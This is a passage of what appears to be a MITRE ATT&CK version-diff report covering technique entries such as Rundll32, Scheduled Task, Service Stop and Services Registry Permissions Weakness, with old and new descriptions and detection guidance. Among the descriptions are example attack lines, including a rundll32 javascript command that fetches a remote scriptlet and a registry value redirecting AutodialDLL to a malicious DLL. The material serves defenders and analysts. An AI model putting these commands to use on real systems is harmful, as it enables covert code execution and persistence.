 >x: <code>rundll32.exe file.dll,#1</code>).  Additionally, ad
 >versaries may use [Masquerading](https://attack.mitre.org/te
 >chniques/T1036) techniques (such as changing DLL file names,
 > file extensions, or function names) to further conceal exec
 >ution of a malicious payload.(Citation: rundll32.exe defense
 > evasion) 

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution', 'File: File Metadata', 'Module: Module Load']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:02.470000+00:002025-10-24 17:48:20.567000+00:00
descriptionAdversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}). + +Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. + +Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) + +Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1). + +Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}). + +Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. + +Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion) + +Threat actors may also abuse legitimate, signed system DLLs (e.g., zipfldr.dll, ieframe.dll) with rundll32.exe to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) + +Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1). + +Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionUse process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. + +Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.
x_mitre_version2.42.5
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'lolbas project Ieframe.dll', 'description': 'lolbas project. (n.d.). Ieframe.dll. Retrieved October 5, 2025.', 'url': 'https://lolbas-project.github.io/lolbas/Libraries/Ieframe/'}
external_references{'source_name': 'lolbas project Zipfldr.dll', 'description': 'lolbas project. (n.d.). Zipfldr.dll. Retrieved October 5, 2025.', 'url': 'https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/'}
x_mitre_contributorsAmir Hossein Vafifar

[T1053.005] Scheduled Task/Job: Scheduled Task

Current version: 1.8

Version changed from: 1.7 → 1.8

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_remote_supportFalse
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Creation', 'File: File Modification', 'File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Flow', 'Scheduled Job: Scheduled Job Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:01.010000+00:002025-10-24 17:48:19.176000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\System32\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. + +Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10) + +* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered +* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated +* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted +* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created +* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled +* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled + +Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) + +Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.
x_mitre_version1.71.8

[T1489] Service Stop

Current version: 1.4

Version changed from: 1.3 → 1.4

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may stop or disable services on a system to rendt1Adversaries may stop or disable services on a system to rend
>er those services unavailable to legitimate users. Stopping >er those services unavailable to legitimate users. Stopping 
>critical services or processes can inhibit or stop response >critical services or processes can inhibit or stop response 
>to an incident or aid in the adversary's overall objectives >to an incident or aid in the adversary's overall objectives 
>to cause damage to the environment.(Citation: Talos Olympic >to cause damage to the environment.(Citation: Talos Olympic 
>Destroyer 2018)(Citation: Novetta Blockbuster)   Adversaries>Destroyer 2018)(Citation: Novetta Blockbuster)   Adversaries
> may accomplish this by disabling individual services of hig> may accomplish this by disabling individual services of hig
>h importance to an organization, such as <code>MSExchangeIS<>h importance to an organization, such as <code>MSExchangeIS<
>/code>, which will make Exchange content inaccessible.(Citat>/code>, which will make Exchange content inaccessible.(Citat
>ion: Novetta Blockbuster) In some cases, adversaries may sto>ion: Novetta Blockbuster) In some cases, adversaries may sto
>p or disable many or all services to render systems unusable>p or disable many or all services to render systems unusable
>.(Citation: Talos Olympic Destroyer 2018) Services or proces>.(Citation: Talos Olympic Destroyer 2018) Services or proces
>ses may not allow for modification of their data stores whil>ses may not allow for modification of their data stores whil
>e running. Adversaries may stop services or processes in ord>e running. Adversaries may stop services or processes in ord
>er to conduct [Data Destruction](https://attack.mitre.org/te>er to conduct [Data Destruction](https://attack.mitre.org/te
>chniques/T1485) or [Data Encrypted for Impact](https://attac>chniques/T1485) or [Data Encrypted for Impact](https://attac
>k.mitre.org/techniques/T1486) on the data stores of services>k.mitre.org/techniques/T1486) on the data stores of services
> like Exchange and SQL Server, or on virtual machines hosted> like Exchange and SQL Server, or on virtual machines hosted
> on ESXi infrastructure.(Citation: SecureWorks WannaCry Anal> on ESXi infrastructure.(Citation: SecureWorks WannaCry Anal
>ysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021>ysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021
>)>)  Threat actors may also disable or stop service in cloud e
 >nvironments. For example, by leveraging the `DisableAPIServi
 >ceAccess` API in AWS, a threat actor may prevent the service
 > from creating service-linked roles on new accounts in the A
 >WS Organization.(Citation: Datadog Security Labs Cloud Persi
 >stence 2025)(Citation: AWS DisableAWSServiceAccess)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_contributors['Liran Ravich, CardinalOps']
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Process: Process Termination', 'Windows Registry: Windows Registry Key Modification', 'Command: Command Execution', 'File: File Modification', 'Process: OS API Execution', 'Service: Service Metadata']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:12.942000+00:002025-10-24 17:48:30.688000+00:00
descriptionAdversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) + +Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) + +Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021) + +Threat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.(Citation: Datadog Security Labs Cloud Persistence 2025)(Citation: AWS DisableAWSServiceAccess)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitor processes and command-line arguments to see if critical processes are terminated or stop running. + +Monitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links. + +Alterations to the service binary path or the service startup type changed to disabled may be suspicious. + +Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)
x_mitre_version1.31.4
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'AWS DisableAWSServiceAccess', 'description': 'AWS. (n.d.). DisableAWSServiceAccess. Retrieved May 22, 2025.', 'url': 'https://docs.aws.amazon.com/organizations/latest/APIReference/API_DisableAWSServiceAccess.html'}
external_references{'source_name': 'Datadog Security Labs Cloud Persistence 2025', 'description': 'Martin McCloskey. (2025, May 13). Tales from the cloud trenches: The Attacker doth persist too much, methinks. Retrieved May 22, 2025.', 'url': 'https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/'}
x_mitre_platformsIaaS

[T1574.011] Hijack Execution Flow: Services Registry Permissions Weakness

Current version: 1.3

Version changed from: 1.2 → 1.3

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may execute their own malicious payloads by hijat1Adversaries may execute their own malicious payloads by hija
>cking the Registry entries used by services. Adversaries may>cking the Registry entries used by services. Flaws in the pe
> use flaws in the permissions for Registry keys related to s>rmissions for Registry keys related to services can allow ad
>ervices to redirect from the originally specified executable>versaries to redirect the originally specified executable to
> to one that they control, in order to launch their own code> one they control, launching their own code when a service s
> when a service starts. Windows stores local service configu>tarts. Windows stores local service configuration informatio
>ration information in the Registry under <code>HKLM\SYSTEM\C>n in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\
>urrentControlSet\Services</code>. The information stored und>Services</code>. The information stored under a service's Re
>er a service's Registry keys can be manipulated to modify a >gistry keys can be manipulated to modify a service's executi
>service's execution parameters through tools such as the ser>on parameters through tools such as the service controller, 
>vice controller, sc.exe,  [PowerShell](https://attack.mitre.>sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1
>org/techniques/T1059/001), or [Reg](https://attack.mitre.org>059/001), or [Reg](https://attack.mitre.org/software/S0075).
>/software/S0075). Access to Registry keys is controlled thro> Access to Registry keys is controlled through access contro
>ugh access control lists and user permissions. (Citation: Re>l lists and user permissions. (Citation: Registry Key Securi
>gistry Key Security)(Citation: malware_hides_service)  If th>ty)(Citation: malware_hides_service)  If the permissions for
>e permissions for users and groups are not properly set and > users and groups are not properly set and allow access to t
>allow access to the Registry keys for a service, adversaries>he Registry keys for a service, adversaries may change the s
> may change the service's binPath/ImagePath to point to a di>ervice's binPath/ImagePath to point to a different executabl
>fferent executable under their control. When the service sta>e under their control. When the service starts or is restart
>rts or is restarted, then the adversary-controlled program w>ed, the adversary-controlled program will execute, allowing 
>ill execute, allowing the adversary to establish persistence>the adversary to establish persistence and/or privilege esca
> and/or privilege escalation to the account context the serv>lation to the account context the service is set to execute 
>ice is set to execute under (local/domain account, SYSTEM, L>under (local/domain account, SYSTEM, LocalService, or Networ
>ocalService, or NetworkService).  Adversaries may also alter>kService).  Adversaries may also alter other Registry keys i
> other Registry keys in the service’s Registry tree. For exa>n the service’s Registry tree. For example, the <code>Failur
>mple, the <code>FailureCommand</code> key may be changed so >eCommand</code> key may be changed so that the service is ex
>that the service is executed in an elevated context anytime >ecuted in an elevated context anytime the service fails or i
>the service fails or is intentionally corrupted.(Citation: K>s intentionally corrupted.(Citation: Kansa Service related c
>ansa Service related collectors)(Citation: Tweet Registry Pe>ollectors)(Citation: Tweet Registry Perms Weakness)  The <co
>rms Weakness)  The <code>Performance</code> key contains the>de>Performance</code> key contains the name of a driver serv
> name of a driver service's performance DLL and the names of>ice's performance DLL and the names of several exported func
> several exported functions in the DLL.(Citation: microsoft_>tions in the DLL.(Citation: microsoft_services_registry_tree
>services_registry_tree) If the <code>Performance</code> key >) If the <code>Performance</code> key is not already present
>is not already present and if an adversary-controlled user h> and if an adversary-controlled user has the <code>Create Su
>as the <code>Create Subkey</code> permission, adversaries ma>bkey</code> permission, adversaries may create the <code>Per
>y create the <code>Performance</code> key in the service’s R>formance</code> key in the service’s Registry tree to point 
>egistry tree to point to a malicious DLL.(Citation: insecure>to a malicious DLL.(Citation: insecure_reg_perms)  Adversari
>_reg_perms)  Adversaries may also add the <code>Parameters</>es may also add the <code>Parameters</code> key, which can r
>code> key, which stores driver-specific dataor other custo>eference malicious drivers file paths. This technique has be
>m subkeys for their malicious services to establish persiste>en identified to be a method of abuse by configuring DLL fil
>nce or enable other malicious activities.(Citation: microsof>e paths within the <code>Parameters</code> key of a given se
>t_services_registry_tree)(Citation: troj_zegost) Additionall>rvices registry configuration. By placing and configuring th
>y, If adversaries launch their malicious services using svch>e <code>Parameters</code> key to reference a malicious DLL
>ost.exe, the service’s file may be identified using <code>HK>adversaries can ensure that their code is loaded persistentl
>EY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicena>y whenever the associated service or library is invoked.  Fo
>me\Parameters\ServiceDll</code>.(Citation: malware_hides_ser>r example, the registry path(Citation: MDSec) <code>HKEY_LOC
>vice)>AL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parame
 >ters</code>(Citation: hexacorn)(Citation: gendigital) contai
 >ns the <code>AutodiaDLL</code> value, which specifies the DL
 >L to be loaded for autodial funcitionality. An adversary cou
 >ld set the <code>AutodiaDLL</code> to point to a hijacked or
 > malicious DLL:  <code>"AutodialDLL"="c:\temp\foo.dll"</code
 >>  This ensures persistence, as it causes the DLL (in this c
 >ase, foo.dll) to be loaded each time the Winsock 2 library i
 >s invoked.

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Windows Registry: Windows Registry Key Modification', 'Service: Service Modification', 'Command: Command Execution', 'Process: Process Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:09.308000+00:002025-10-24 17:48:27.075000+00:00
descriptionAdversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service) + +If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). + +Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) + +The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms) + +Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll.(Citation: malware_hides_service)Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service) + +If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). + +Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) + +The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms) + +Adversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked. + +For example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL: + +"AutodialDLL"="c:\temp\foo.dll" + +This ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked.
external_references[8]['source_name']troj_zegostgendigital
external_references[8]['description']Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021.Threat Research Team. (2022, March 22). Operation Dragon Castling: APT group targeting betting companies. Retrieved September 25, 2025.
external_references[8]['url']https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegosthttps://www.gendigital.com/blog/insights/research/operation-dragon-castling-apt-group-targeting-betting-companies
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. + +Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. + +Monitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.
x_mitre_version1.21.3
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'hexacorn', 'description': 'hexacorn. (2015, January 13). Beyond good ol’ Run key, Part 24. Retrieved September 25, 2025.', 'url': 'https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/'}
external_references{'source_name': 'MDSec', 'description': 'MDSec. (n.d.). Autodial(DLL)ing Your Way. Retrieved September 25, 2025.', 'url': 'https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/'}
x_mitre_contributorsJoe Gumke, U.S. Bank

[T1592.002] Gather Victim Host Information: Software

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may gather information about the victim's host st1Adversaries may gather information about the victim's host s
>oftware that can be used during targeting. Information about>oftware that can be used during targeting. Information about
> installed software may include a variety of details such as> installed software may include a variety of details such as
> types and versions on specific hosts, as well as the presen> types and versions on specific hosts, as well as the presen
>ce of additional components that might be indicative of adde>ce of additional components that might be indicative of adde
>d defensive protections (ex: antivirus, SIEMs, etc.).  Adver>d defensive protections (ex: antivirus, SIEMs, etc.).  Adver
>saries may gather this information in various ways, such as >saries may gather this information in various ways, such as 
>direct collection actions via [Active Scanning](https://atta>direct collection actions via [Active Scanning](https://atta
>ck.mitre.org/techniques/T1595) (ex: listening ports, server >ck.mitre.org/techniques/T1595) (ex: listening ports, server 
>banners, user agent strings) or [Phishing for Information](h>banners, user agent strings) or [Phishing for Information](h
>ttps://attack.mitre.org/techniques/T1598). Adversaries may a>ttps://attack.mitre.org/techniques/T1598). Adversaries may a
>lso compromise sites then include malicious content designed>lso compromise sites then include malicious content designed
> to collect host information from visitors.(Citation: ATT Sc> to collect host information from visitors.(Citation: ATT Sc
>anBox) Information about the installed software may also be >anBox) Information about the installed software may also be 
>exposed to adversaries via online or other accessible data s>exposed to adversaries via online or other accessible data s
>ets (ex: job postings, network maps, assessment reports, res>ets (ex: job postings, network maps, assessment reports, res
>umes, or purchase invoices). Gathering this information may >umes, or purchase invoices). Additionally, adversaries may a
>reveal opportunities for other forms of reconnaissance (ex: >nalyze metadata from victim-owned files (e.g., PDFs, DOCs, i
>[Search Open Websites/Domains](https://attack.mitre.org/tech>mages, and sound files hosted on victim-owned websites) to e
>niques/T1593) or [Search Open Technical Databases](https://a>xtract information about the software and hardware used to c
>ttack.mitre.org/techniques/T1596)), establishing operational>reate or process those files. Metadata may reveal software v
> resources (ex: [Develop Capabilities](https://attack.mitre.>ersions, configurations, or timestamps that indicate outdate
>org/techniques/T1587) or [Obtain Capabilities](https://attac>d or vulnerable software. This information can be cross-refe
>k.mitre.org/techniques/T1588)), and/or for initial access (e>renced with known CVEs to identify potential vectors for exp
>x: [Supply Chain Compromise](https://attack.mitre.org/techni>loitation in future operations.(Citation: Outpost24)  Gather
>ques/T1195) or [External Remote Services](https://attack.mit>ing this information may reveal opportunities for other form
>re.org/techniques/T1133)).>s of reconnaissance (ex: [Search Open Websites/Domains](http
 >s://attack.mitre.org/techniques/T1593) or [Search Open Techn
 >ical Databases](https://attack.mitre.org/techniques/T1596)),
 > establishing operational resources (ex: [Develop Capabiliti
 >es](https://attack.mitre.org/techniques/T1587) or [Obtain Ca
 >pabilities](https://attack.mitre.org/techniques/T1588)), and
 >/or for initial access (ex: [Supply Chain Compromise](https:
 >//attack.mitre.org/techniques/T1195) or [External Remote Ser
 >vices](https://attack.mitre.org/techniques/T1133)).

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_contributors['Michal Biesiada']
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 23:09:53.612000+00:002025-10-24 17:49:17.631000+00:00
descriptionAdversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). + +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.). + +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Additionally, adversaries may analyze metadata from victim-owned files (e.g., PDFs, DOCs, images, and sound files hosted on victim-owned websites) to extract information about the software and hardware used to create or process those files. Metadata may reveal software versions, configurations, or timestamps that indicate outdated or vulnerable software. This information can be cross-referenced with known CVEs to identify potential vectors for exploitation in future operations.(Citation: Outpost24) + 